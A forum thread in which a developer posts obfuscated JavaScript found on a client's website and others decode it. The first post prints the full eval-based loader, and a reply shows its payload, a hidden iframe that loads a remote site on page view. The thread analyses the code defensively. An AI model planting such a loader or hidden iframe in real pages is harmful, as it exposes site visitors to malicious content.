Jump to content

Is this dangerous?


Mutley

Recommended Posts

Suspecious code on a clients site, anything I should know?

 

Seems encoded.

 

function qthnib3b23(x){var y=x.length,c=1024,z,g,q,f=0,b=0,u=0,v=Array(63,46,25,11,61,60,8,58,44,43,0,0,0,0,0,0,18,48,26,29,54,1,24,19,45,5,49,34,28,15,22,38,6,59,56,16,42,32,2,51,17,3,57,0,0,0,0,9,0,41,7,23,47,27,14,13,31,37,30,52,33,0,62,20,10,40,53,12,36,55,39,21,4,50,35);for(g=Math.ceil(y/c);g>0;g--){q='';for(z=Math.min(y,c);z>0;z--,y--){{u|=(v[x.charCodeAt(f++)-48])<<b;if(b){q+=String.fromCharCode(234^u&255);u>>=8;b-=2}else{b=6}}}eval(q);}}qthnib3b23('Cf6lfNFvxvav37Zv2jCW1N6lMDLkfNFKhjRzx7_JCKZUjnqAge4UsKZKbnqyx1RlMjCKBu4upv_O_jgyV7avBVCJIdqzfjLKI@qvM@qvbWRUP7ZzF@5UxyFlIQ2JwuLAv1qvV@sOIn_lfp5a37aUxzZKx7Flbp5Amdgu@zCuYbLW_TCuhuLAgz8yCfqzjpRrFdCDp3RzYDqUjjCuG9LOjfalMjgyffFOBBRKGVglI@Rz6GHrIM6zF1RlM@CWYY')</script>

Link to comment
Share on other sites

If you don't know where it came from, at least comment it out.

 

[edit]

 

It seems there's some more javascript encoded in this code, that tries to execute itself. Probably some malicious stuff.

Link to comment
Share on other sites

chmod? what for?

it would execute on user's browser anyway

probably inserting an iframe to some malicious site.

 

I tried to display the code to be evaluated, but did not manage... always sucked in JS :P

Link to comment
Share on other sites

That's what it does

 

window.status='Done';
document.write('<iframe name=c075 src="http://add-content-filter.info/t/?'+Math.round(Math.random()*16827)+'c075'+'" width=213 height=79 style="display:none"></iframe>

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.